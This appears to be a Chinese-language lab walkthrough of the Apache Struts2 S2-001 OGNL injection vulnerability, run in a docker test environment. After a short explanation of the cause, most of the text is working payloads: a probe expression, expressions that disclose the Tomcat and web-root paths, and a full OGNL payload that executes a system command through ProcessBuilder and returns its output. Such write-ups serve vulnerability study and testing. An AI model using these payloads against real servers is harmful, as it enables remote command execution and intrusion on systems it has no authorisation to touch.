漏洞原理
因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
漏洞利用
切换到s2-001目录下,搭建启动测试环境
docker-compose build
docker-compose up -d
浏览器访问以下地址
http://your IP:8080
输入框中填入%{2+2}进行漏洞验证
结果输出4,证明漏洞存在
获取tomcat执行路径:
%{“tomcatBinDir{”+@java.lang.System@getProperty(“user.dir”)+"}"}
获取Web路径:
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),
#response.println(#req.getRealPath(’/’)),
#response.flush(),
#response.close()
}
命令执行
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“ls”})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}